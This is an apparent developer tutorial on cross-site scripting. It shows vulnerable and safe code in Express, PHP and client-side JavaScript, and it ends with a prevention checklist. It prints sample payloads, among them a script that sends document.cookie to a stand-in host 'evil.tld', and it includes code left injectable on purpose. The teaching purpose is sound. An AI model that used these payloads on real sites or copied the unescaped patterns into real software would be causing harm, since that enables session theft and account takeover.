What Is Cross-Site Scripting (XSS): Types, Examples and How Attackers Exploit It

If you build web applications, cross-site scripting (XSS) is one of those vulnerabilities you cannot afford to misunderstand. It has been on the OWASP radar for over two decades, and yet it still ships in production code every single day in 2026. This guide breaks down what cross-site scripting is, how the three main types work, and shows you side-by-side vulnerable vs safe code so you can recognize the pattern in your own repositories before an attacker does.

What Is Cross-Site Scripting (XSS)?

Cross-site scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious client-side scripts (usually JavaScript) into a web page that is then viewed and executed by other users. Because the script runs inside the victim’s browser, in the context of the trusted site, it can steal cookies, hijack sessions, deface pages, redirect users, log keystrokes, or perform actions on behalf of the victim.

In simple words: the browser trusts the site, the site trusts user input, and the attacker abuses that chain of trust.

Why XSS Still Matters in 2026

  • Modern SPAs (React, Vue, Svelte) reduce some risks but introduce new ones like DOM-based XSS through unsafe sinks.
  • AI-generated code often reproduces insecure patterns from training data.
  • Third-party scripts, browser extensions, and CMS plugins keep enlarging the attack surface.
  • A single XSS in an authenticated area can be as damaging as a full account takeover.
hacker code screen

The 3 Main Types of Cross-Site Scripting

Type Where the payload lives Trigger Typical Impact
Stored XSS Server database / persistent storage Any user viewing the affected page High, mass exploitation
Reflected XSS URL parameter / request Victim clicks a crafted link Targeted phishing, session theft
DOM-based XSS Client-side JavaScript sink Unsafe browser-side handling of input Bypasses server-side filters

1. Stored XSS (Persistent XSS)

The malicious script is saved on the server (comments, profile bio, product review, support ticket) and delivered to every visitor. This is the most dangerous variant because it can spread like a worm. This write-up is worth a look.

Vulnerable example (Node.js / Express)

app.post('/comment', (req, res) => {
  db.saveComment(req.body.text);
});

app.get('/comments', async (req, res) => {
  const comments = await db.getComments();
  let html = '';
  comments.forEach(c => {
    html += `<div class="comment">${c.text}</div>`; // raw injection
  });
  res.send(html);
});

An attacker posts: <script>fetch('https://evil.tld/?c='+document.cookie)</script> and every future visitor leaks their session cookie.

Safe implementation

const escapeHtml = (s) => s
  .replace(/&/g,'&amp;')
  .replace(/</g,'&lt;')
  .replace(/>/g,'&gt;')
  .replace(/"/g,'&quot;')
  .replace(/'/g,'&#39;');

comments.forEach(c => {
  html += `<div class="comment">${escapeHtml(c.text)}</div>`;
});

Better yet: use a template engine with auto-escaping (Handlebars, EJS with <%= %>, Nunjucks, Twig) or a framework like React that escapes by default.

2. Reflected XSS (Non-Persistent XSS)

The payload is part of the request (usually a query parameter) and is immediately reflected back in the response. Delivery requires social engineering: the attacker sends the victim a crafted link.

Vulnerable example (PHP)

<?php
$q = $_GET['q'];
echo "You searched for: " . $q;
?>

Attack URL: https://site.tld/search.php?q=<script>alert(document.domain)</script>

Safe implementation

<?php
$q = $_GET['q'] ?? '';
echo "You searched for: " . htmlspecialchars($q, ENT_QUOTES | ENT_HTML5, 'UTF-8');
?>

3. DOM-Based XSS

The vulnerability lives entirely in client-side JavaScript. The server never sees the payload (it can even be in the URL fragment after #), which means server-side WAFs and filters cannot help.

Vulnerable example

// URL: https://site.tld/page#<img src=x onerror=alert(1)>
const name = decodeURIComponent(location.hash.substring(1));
document.getElementById('welcome').innerHTML = 'Hello ' + name;

Safe implementation

const name = decodeURIComponent(location.hash.substring(1));
document.getElementById('welcome').textContent = 'Hello ' + name;

The fix is to write to textContent instead of innerHTML. If you truly need to render HTML, sanitize it with a library like DOMPurify:

import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(userSuppliedHtml);

Dangerous Sinks to Watch in Your Code

  • element.innerHTML / outerHTML
  • document.write() / document.writeln()
  • eval(), Function(), setTimeout(string), setInterval(string)
  • jQuery .html(), .append(), .after() with untrusted data
  • React dangerouslySetInnerHTML
  • Vue v-html
  • Angular bypassSecurityTrustHtml
hacker code screen

Real Attack Scenarios Developers Underestimate

  1. Cookie theft: exfiltrating document.cookie when the cookie is not flagged HttpOnly.
  2. Session riding: performing authenticated actions (change email, transfer funds) using the victim’s active session.
  3. Credential harvesting: injecting a fake login form on top of the real page.
  4. Crypto drainer redirects: modifying wallet addresses on the fly in Web3 dashboards.
  5. Keylogging: attaching listeners to input fields to capture passwords or MFA codes.

How to Prevent Cross-Site Scripting: The Modern Checklist

  • Context-aware output encoding: HTML, attribute, JavaScript, CSS and URL contexts each need different escaping.
  • Use frameworks that auto-escape (React, Angular, Vue, Svelte) and avoid their escape hatches.
  • Validate input on the server with allow-lists, not deny-lists.
  • Set a strict Content Security Policy (CSP) with nonces or hashes, no unsafe-inline.
  • Flag cookies as HttpOnly, Secure and SameSite=Lax or Strict.
  • Use Trusted Types in Chromium-based browsers to make dangerous DOM sinks throw by default.
  • Sanitize HTML with a maintained library (DOMPurify, sanitize-html) when rich text is a requirement.
  • Run SAST and DAST in your CI: Semgrep, CodeQL, ZAP, Burp Suite scanners.
  • Do code reviews focused on sinks and untrusted sources.
hacker code screen

Example Content Security Policy Header

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; require-trusted-types-for 'script';

A well-configured CSP will not fix vulnerable code, but it dramatically reduces what an attacker can do when a bug slips through.

XSS vs SQL Injection: Quick Comparison

XSS SQL Injection
Target Other users’ browsers The database
Payload language HTML / JavaScript SQL
Primary defense Output encoding + CSP Parameterized queries

FAQ: Cross-Site Scripting

What is cross-site scripting with a simple example?

Imagine a blog comment field that saves whatever you type and displays it as-is. If you post <script>alert('XSS')</script>, every visitor to that page will execute your script. That is stored XSS in its simplest form.

Is XSS still possible in 2026?

Yes. Despite modern frameworks and CSP, XSS remains regularly reported in bug bounty programs. New patterns like AI-generated code, hydration mismatches in SSR apps, and browser extension injection keep the risk alive.

How is XSS different from CSRF?

XSS executes attacker JavaScript in the victim’s browser. CSRF tricks the victim’s browser into sending an unwanted authenticated request. XSS often defeats CSRF protections, which is why XSS is generally considered more severe.

Does using React or Vue automatically protect me from XSS?

Mostly, because they escape values by default. But dangerouslySetInnerHTML (React), v-html (Vue), unsafe URL schemes in href, and DOM-based sinks in custom code can still introduce XSS.

What is the difference between stored and reflected XSS?

Stored XSS is saved on the server and served to every visitor. Reflected XSS requires the victim to click a specially crafted link and only affects that single request.

Can a Web Application Firewall (WAF) stop XSS?

A WAF can catch obvious payloads, but skilled attackers routinely bypass them. Treat WAFs as an extra layer, never as the primary defense. Secure code and CSP come first. sentinelone.com has a solid rundown on this.

Key Takeaways

  • XSS is fundamentally a trust and encoding problem, not a browser bug.
  • Know the three flavors: stored, reflected, DOM-based.
  • Escape output based on the context, sanitize rich HTML with DOMPurify, and never trust client input.
  • Deploy a strict CSP, use HttpOnly cookies, and enable Trusted Types where possible.
  • Ship code reviews and automated scans as part of your CI pipeline.

Recognizing XSS patterns before code hits production is one of the highest-leverage skills a developer can build. Bookmark this article, share it with your team, and audit your next pull request with fresh eyes.